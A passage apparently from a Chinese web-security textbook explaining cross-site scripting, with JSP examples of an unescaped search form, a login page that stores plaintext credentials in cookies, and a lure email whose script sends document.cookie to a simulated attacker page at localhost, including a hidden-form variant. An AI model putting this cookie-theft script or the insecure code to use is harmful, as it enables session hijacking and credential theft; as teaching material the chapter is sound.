SQL注入和XSS攻击的原理
8.4 Web跨站脚本攻击
8.4.1 跨站脚本攻击的原理(1)
跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。
跨站脚本,顾名思义,就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码,一般需要以下几个条件:
客户端访问的网站是一个有漏洞的网站,但是他没有意识到;
在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);
客户点击后,代码执行,可以达到攻击目的。
XSS属于被动式的攻击。为了让读者了解XSS,首先我们举一个简单的例子。有一个应用,负责进行书本查询,代码如下:
query.jsp
<%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
欢迎查询书本
<form action="queryResult.jsp" method="post">
请您输入书本的信息:<BR>
<input name="book" type="text" size="">
<input type="submit" value="查询">
</form>
运行结果如下:
运行query.jsp,输入正常数据,如"Java":
提交,显示的结果是:
结果没有问题。但是该程序有漏洞。比如,客户输入"<I><FONT SIZE=7>Java</FONT></I>":
查询显示的结果为:
该问题是网站对输入的内容没有进行任何标记检查造成的。打开queryResult.jsp的客户端源代码,显示为:
更有甚者,我们可以输入某个网站上的一幅图片地址(此处引用google首页上的logo图片):
显示结果为:
很显然,结果很不正常!
以上只是说明了该表单提交没有对标记进行检查,还没有起到攻击的作用。为了进行攻击,我们将输入变成脚本:
8.4.1 跨站脚本攻击的原理(2)
提交,结果为:
说明脚本也可以执行,打开queryResult.jsp客户端源代码,为:
于是,程序可以让攻击者利用脚本进行一些隐秘信息的获取了!输入如下查询关键字:
提交,得到结果:
消息框中,将当前登录的sessionId显示出来了。很显然,该sessionId如果被攻击者知道,就可以访问服务器端的该用户session,获取一些信息。
提示
在JSP系列中, sessionId保存在Cookie中。
实际的攻击是怎样进行的呢?如前所述,攻击者为了得到客户的隐秘信息,一般会在网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);客户点击后,代码执行,可以达到攻击目的。比如,可以给客户发送一个邮件,吸引客户点击某个链接。
以下模拟了一个通过邮件点击链接的攻击过程。攻击者给客户发送一个邮件,并且在电子邮件中,通过某个利益的诱惑,鼓动用户尽快访问某个网站,并在邮件中给一个地址链接,这个链接的URL中含有脚本,客户在点击的过程中,就执行了这段代码。
我们模拟一个邮箱系统,首先是用户登录页面,当用户登录成功后,为了以后操作方便,该网站采用了"记住登录状态"的功能,将自己的用户名和密码放入cookie,并保存在客户端:
login.jsp
<%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
欢迎登录邮箱
<form action="login.jsp" method="post">
请您输入账号:
<input name="account" type="text">
<BR>
请您输入密码:
<input name="password" type="password">
<BR>
<input type="submit" value="登录">
</form>
<%
//获取账号密码
String account = request.getParameter("account");
String password = request.getParameter("password");
if(account!=null)
{
//验证账号密码,假如账号密码相同表示登录成功
if(account.equals(password))
{
//放入session,跳转到下一个页面
session.setAttribute("account",account);
//将自己的用户名和密码放入cookie
response.addCookie(new Cookie("account",account));
response.addCookie(new Cookie("password",password));
response.sendRedirect("loginResult.jsp");
}
else
{
out.println("登录不成功");
}
}
%>
8.4.1 跨站脚本攻击的原理(3)
运行,得到界面如下:
输入正确的账号密码(如guokehua,guokehua),如果登录成功,程序跳到loginResult.jsp,并在页面底部有一个"查看邮件"链接(当然,可能还有其他功能,在此省略)。代码如下:
loginResult.jsp
<%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
<%//session检查
String account = (String)session.getAttribute("account");
if(account==null)
{
response.sendRedirect("login.jsp");
}
%>
欢迎<%=account%>来到邮箱!
<HR>
<a href="mailList.jsp">查看邮箱</a>
运行效果如下:
为了模拟攻击,点击"查看邮箱",我们在里面放置一封"邮件"(该邮件的内容由攻击者撰写)。代码如下:
mailList.jsp
<%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
<%
//session检查,代码略
%>
<!—以下是攻击者发送的一个邮件-->
这里有一封新邮件,您中奖了,您有兴趣的话可以点击:<BR>
<script type="text/javascript">
function send()
{
var cookie = document.cookie;
window.location.href = "
http://localhost/attackPage.asp?cookies=" + cookie;
}
</script>
<a onClick="send()"><u>领奖</u></a>
效果如下:
注意,这里的"领奖"链接,链接到另一个网站,该网站一般是攻击者自行建立。,为了保证真实性,我们在IIS下用ASP写了一个网页,因为攻击者页面和被攻击者页面一般不是在一个网站内,其URL为:
http://localhost/attackPage.asp
很明显,如果用户点击,脚本中的send函数会运行,并将内容发送给http://localhost/attackPage.asp。假设http://localhost/attackPage.asp的源代码如下:
http://localhost/attackPage.asp
<%@ Language = "VBScript" %>
这是模拟的攻击网站(IIS)<BR>
刚才从用户处得到的cookie值为:<BR>
<%=request("cookies")%>
注意,attackPage.asp要在IIS中运行,和前面的例子运行的不是一个服务器。
用户如果点击了"领奖"链接,attackPage.jsp上显示:
Cookie中的所有值都被攻击者知道了!特别是sessionId的泄露,说明攻击者还具有了访问session的可能!
此时,客户浏览器的地址栏上URL变为(读者运行时,具体内容可能不一样,但是基本效果相同):
http://localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF
8.4.1 跨站脚本攻击的原理(4)
从这个含有恶意的脚本的URL中,比较容易发现受到了攻击,因为URL后面的查询字符串一眼就能看出来。聪明的攻击者还可以将脚本用隐藏表单隐藏起来。将mailList.jsp的代码改为:
mailList.jsp
<%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
<%
//session检查,代码略
%>
<!—以下是攻击者发送的一个邮件-->
这里有一封新邮件,您中奖了,请您填写您的姓名并且提交:<BR>
<script type="text/javascript">
function send()
{
var cookie = document.cookie;
document.form1.cookies.value=cookie;
document.form1.submit();
}
</script>
<form name="form1" action="http://
localhost/attackPage.asp" method="post">
输入姓名:<input name="">
<input type="hidden" name="cookies">
<input type="button" value="提交姓名" onClick="send()">
</form>
该处将脚本用隐藏表单隐藏起来。输入姓名的文本框只是一个伪装。效果为:
attackPage.asp不变。不管你输入什么姓名,到达attackPage.asp都会显示:
也可以达到攻击目的。而此时,浏览器地址栏中显示为:
用户不知不觉受到了攻击。
提示
实际攻击的过程中,cookie的值可以被攻击者保存到数据库或者通过其他手段得知,也就是说,cookie的值不可能直接在攻击页面上显示,否则很容易被用户发现,这里只是模拟。
从以上例子可以看出,XSS可以诱使Web站点执行本来不属于它的代码,而这些行代码由攻击者提供、为用户浏览器加载,攻击者利用这些代码执行来获取信息。XSS涉及到三方,即攻击者、客户端与客户端访问的网站。XSS的攻击目标是盗取客户端的敏感信息。从本质上讲,XSS漏洞终究原因是由于网站的Web应用对用户提交请求参数未做充分的检查过滤。
8.4.2 跨站脚本攻击的危害
XSS攻击的主要危害包括:
盗取用户的各类敏感信息,如账号密码等;
读取、篡改、添加、删除企业敏感数据;
读取企业重要的具有商业价值的资料;
控制受害者机器向其它网站发起攻击;等等。
SQL注入和XSS攻击的原理的更多相关文章
- SQL 注入、XSS 攻击、CSRF 攻击
SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参 ...
- yii框架各种防止sql注入,xss攻击,csrf攻击
PHP中常用到的方法有: /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); ...
- 防止sql注入。xss攻击 方法
//防止sql注入.xss攻击 /** * 过滤参数 * @param string $str 接受的参数 * @return string */ publ ...
- 防止SQL注入和XSS攻击Filter
nbsp;今天系统使用IBM的安全漏洞扫描工具扫描出一堆漏洞,下面的filter主要是解决防止SQL注入和XSS攻击 一个是Filter负责将请求的request包装一下. 一个是request包装器 ...
- PHP防止SQL注入和XSS攻击
PHP防止SQL注入和XSS攻击PHP防范SQL注入是一个非常重要的安全手段.一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力.说到网站安全,就不得不提到SQL注入( ...
- Nginx 防止SQL注入、XSS攻击的实践配置方法
下班的时候,发现博客访问缓慢,甚至出现504错误,通过 top -i 命令查看服务器负载发现负载数值飙升到3.2之多了,并且持续时间越来越频繁直至持续升高的趋势,还以为是被攻击了,对来访IP进行了阈值 ...
- SQL注入和XSS攻击
SQL注入 定义:黑客通过在请求的数据中填入特殊字符,影响服务器数据库操作程序正常执行,从而达到攻击的目的. 形式: 拼接SQL: 登录验证:前台输入 username:yan password:12 ...
- Node.js 项目中解决 SQL 注入和 XSS 攻击
1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...
- 解决 SQL 注入和 XSS 攻击(Node.js 项目中)
1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...
随机推荐
- 洛谷 P1372 又是毕业季I
可能所有的数论题都是这样玄学.... 题目链接:https://www.luogu.org/problemnew/show/P1372 这道题通过暴力的枚举可以发现是不可做的(当然我也不会做) 然后就 ...
- ios网络 -- HTTP请求 and 文件下载/断点下载
一:请求 http://www.jianshu.com/p/8a90aa6bad6b 二:下载 iOS网络--『文件下载.断点下载』的实现(一):NSURLConnection http://www. ...
- DHCP协议及基本实现原理
DHCP(Dynamic Host Configuration Protocol):动态主机配置协议. DHCP的优缺点 DHCP服务优点:网络管理员可以验证IP地址和其它配置参数,而不用去检查每个主 ...
- gevent 传参, 中文编码
#coding=utf-8 import os from gevent import monkey,pool monkey.patch_all() import gevent import time ...
- python学习之路---day26
网络的基本知识点 一:网络通信原理 连接两台计算机之间的Internet之间的协议一系列协议为互联网协议 互联网协议的功能是:定义计算机如何接入Internet,以及Internet的计算机通信标准 ...
- rest-assured的默认值与Specification重用
一.默认值 rest-assured发起请求时,默认使用的host为localhost,端口为8080,如果你想使用不同的端口,你可以这样做: given().port(80)...... 或者是简单 ...
- 【算法笔记】B1036 跟奥巴马一起编程
1036 跟奥巴马一起编程 (15 分) 美国总统奥巴马不仅呼吁所有人都学习编程,甚至以身作则编写代码,成为美国历史上首位编写计算机代码的总统.2014 年底,为庆祝“计算机科学教育周”正式启动,奥巴 ...
- UVA - 11584 DP 最少线段覆盖
题意:用最少的不可交线段覆盖整个区间,求该最小值 课上摸鱼的时候没注意到题意的转换,写了没啥卵用的回文中心最长枚举,所以代码里的st和h/h2是几乎没用的 注意状态转移的时候不要只用最长线段去转移,这 ...
- B - Toy Storage(POJ - 2398) 计算几何基础题,比TOYS多了个线段排序
Mom and dad have a problem: their child, Reza, never puts his toys away when he is finished playing ...
- MariaDB 密码,新用户添加
修改root密码1.以root身份在终端登陆(必须)2.输入 mysqladmin -u root -p password ex后面的 ex 是要设置的密码3.回车后出现 Enter password ...